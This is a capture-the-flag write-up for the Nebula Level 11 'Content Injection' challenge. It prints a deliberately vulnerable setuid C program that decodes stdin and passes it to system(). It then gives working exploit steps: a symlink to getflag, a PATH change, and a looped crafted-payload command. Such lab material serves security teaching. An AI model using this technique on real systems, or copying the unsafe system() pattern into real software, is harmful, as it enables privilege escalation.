master
..
rw-r--r--
4.1 KB

Nebula - Level11 - Content Injection

About

The /home/flag11/flag11 binary processes standard input and executes a shell command. There are two ways of completing this level, you may wish to do both :-) To do this level, log in as the level11 account with the password level11. Files for this level can be found in /home/flag11.

Source code

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>

/*
 * Return a random, non predictable file, and return the file descriptor for it.
 */

int getrand(char **path)
{
  char *tmp;
  int pid;
  int fd;

  srandom(time(NULL));

  tmp = getenv("TEMP");
  pid = getpid();

  asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
      'A' + (random() % 26), '0' + (random() % 10),
      'a' + (random() % 26), 'A' + (random() % 26),
      '0' + (random() % 10), 'a' + (random() % 26));

  fd = open(*path, O_CREAT|O_RDWR, 0600);
  unlink(*path);
  return fd;
}

void process(char *buffer, int length)
{
  unsigned int key;
  int i;

  key = length & 0xff;

  for(i = 0; i < length; i++) {
      buffer[i] ^= key;
      key -= buffer[i];
  }

  system(buffer);
}

#define CL "Content-Length: "

int main(int argc, char **argv)
{
  char line[256];
  char buf[1024];
  char *mem;
  int length;
  int fd;
  char *path;

  if(fgets(line, sizeof(line), stdin) == NULL) {
      errx(1, "reading from stdin");
  }

  if(strncmp(line, CL, strlen(CL)) != 0) {
      errx(1, "invalid header");
  }

  length = atoi(line + strlen(CL));

  if(length < sizeof(buf)) {
      if(fread(buf, length, 1, stdin) != length) {
          err(1, "fread length");
      }
      process(buf, length);
  } else {
      int blue = length;
      int pink;

      fd = getrand(&path);

      while(blue > 0) {
          printf("blue = %d, length = %d, ", blue, length);

          pink = fread(buf, 1, sizeof(buf), stdin);
          printf("pink = %d\n", pink);

          if(pink <= 0) {
              err(1, "fread fail(blue = %d, length = %d)", blue, length);
          }
          write(fd, buf, pink);

          blue -= pink;
      }    

      mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
      if(mem == MAP_FAILED) {
          err(1, "mmap");
      }
      process(mem, length);
  }

}

Solution

The first path occurs when the content length == 1 as seen by the statement

if(fread(buf, length, 1, stdin) != length) {
    err(1, "fread length");
}

The 1 specifies that 1 element should be read into memory (see man fread). If there is not 1 element to read, then the program reports an error and exits. The process() function call then proceeds to mangle the user input into a predictable different character. For instance, D always becomes E. The function then passes this new character to system() via a c-style buffer, which attempts to start a process using the executable path given to it. Recall that c-style buffers terminate with a NULL or \0 character.

To exploit this behavior, create a symbolic link to /bin/getflag (ln -s /bin/getflag E) that the program executes with properly formatted input. The lines

#define CL "Content-Length: "
if(fgets(line, sizeof(line), stdin) == NULL) {
    errx(1, "reading from stdin");
}
if(strncmp(line, CL, strlen(CL)) != 0) {
    errx(1, "invalid header");
}

check that there is input in stdin. If there is, the program next checks that the header matches CL, or “Content-Length: “.

To craft the payload, echo -ne "Content-Length: 1\nD'" outputs the correct sequence for the link file E. To hope for a random, null-terminated buffer to occur (it happens), use while true; do echo -ne "Content-Length: 1\nD'" | /home/flag11/flag11 2>>output; done. The 2>>output portion redirects stderr to output, thereby allowing only the successful system calls to appear in the terminal. If sh: E: command not found appears in the output file, modify the PATH variable via PATH=$PATH:/home/level11. Note that like previous solutions, this requires the disk to be mounted WITHOUT the nosuid option specified.